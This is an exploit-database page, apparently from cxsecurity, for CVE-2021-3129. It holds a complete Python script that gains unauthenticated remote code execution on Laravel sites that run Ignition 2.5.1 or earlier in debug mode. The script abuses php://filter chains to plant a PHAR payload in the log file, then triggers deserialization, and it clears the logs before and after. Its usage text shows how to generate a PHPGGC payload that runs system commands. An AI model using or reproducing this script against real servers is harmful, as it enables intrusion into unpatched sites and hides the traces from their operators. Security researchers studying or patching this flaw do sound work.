Ignition 2.5.1 Remote Code Execution

2021.04.10
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Laravel debug mode Remote Code Execution (Ignition <= 2.5.1) # Date: 05/04/2021 # Exploit Author: Tobias Marcotto # Tested on: Kali Linux x64 # Version: < 2.5.1 # Description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. # CVE : CVE-2021-3129 ********************************************************************************************************* #!/usr/bin/env python3.7 import base64 import re import sys from dataclasses import dataclass import requests @dataclass class Exploit: session: requests.Session url: str payload: bytes log_path: str def main(self): if not self.log_path: self.log_path = self.get_log_path() try: self.clear_logs() self.put_payload() self.convert_to_phar() self.run_phar() finally: self.clear_logs() def success(self, message, *args): print('+ ' + message.format(*args)) def failure(self, message, *args): print('- ' + message.format(*args)) exit() def get_log_path(self): r = self.run_wrapper('DOESNOTEXIST') match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text) if not match: self.failure('Unable to find full path') path = match.group(1).replace('\\/', '/') path = f'{path}/storage/logs/laravel.log' r = self.run_wrapper(path) if r.status_code != 200: self.failure('Log file does not exist: {}', path) self.success('Log file: {}', path) return path def clear_logs(self): wrapper = f'php://filter/read=consumed/resource={self.log_path}' self.run_wrapper(wrapper) self.success('Logs cleared') return True def get_write_filter(self): filters = '|'.join(( 'convert.quoted-printable-decode', 'convert.iconv.utf-16le.utf-8', 'convert.base64-decode' )) return f'php://filter/write={filters}/resource={self.log_path}' def run_wrapper(self, wrapper): solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" return self.session.post( self.url + '/_ignition/execute-solution/', json={ "solution": solution, "parameters": { "viewFile": wrapper, "variableName": "doesnotexist" } } ) def put_payload(self): payload = self.generate_payload() # This garanties the total log size is even self.run_wrapper(payload) self.run_wrapper('AA') def generate_payload(self): payload = self.payload payload = base64.b64encode(payload).decode().rstrip('=') payload = ''.join(c + '=00' for c in payload) # The payload gets displayed twice: use an additional '=00' so that # the second one does not have the same word alignment return 'A' * 100 + payload + '=00' def convert_to_phar(self): wrapper = self.get_write_filter() r = self.run_wrapper(wrapper) if r.status_code == 200: self.success('Successfully converted to PHAR !') else: self.failure('Convertion to PHAR failed (try again ?)') def run_phar(self): wrapper = f'phar://{self.log_path}/test.txt' r = self.run_wrapper(wrapper) if r.status_code != 500: self.failure('Deserialisation failed ?!!') self.success('Phar deserialized') # We might be able to read the output of system, but if we can't, it's ok match = re.search('^(.*?)\n<!doctype html>\n<html class="', r.text, flags=re.S) if match: print('--------------------------') print(match.group(1)) print('--------------------------') elif 'phar error: write operations' in r.text: print('Exploit succeeded') else: print('Done') def main(url, payload, log_path=None): payload = open(payload, 'rb').read() session = requests.Session() #session.proxies = {'http': 'localhost:8080'} exploit = Exploit(session, url.rstrip('/'), payload, log_path) exploit.main() if len(sys.argv) <= 1: print( f'Usage: {sys.argv[0]} <url> </path/to/exploit.phar> [log_file_path]\n' '\n' 'Generate your PHAR using PHPGGC, and add the --fast-destruct flag if ' 'you want to see your command\'s result. The Monolog/RCE1 GC works fine.\n\n' 'Example:\n' ' $ php -d\'phar.readonly=0\' ./phpggc --phar phar -f -o /tmp/exploit.phar monolog/rce1 system id\n' ' $ ./laravel-ignition-rce.py http://127.0.0.1:8000/ /tmp/exploit.phar\n' ) exit() main(sys.argv[1], sys.argv[2], (len(sys.argv) > 3 and sys.argv[3] or None))


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top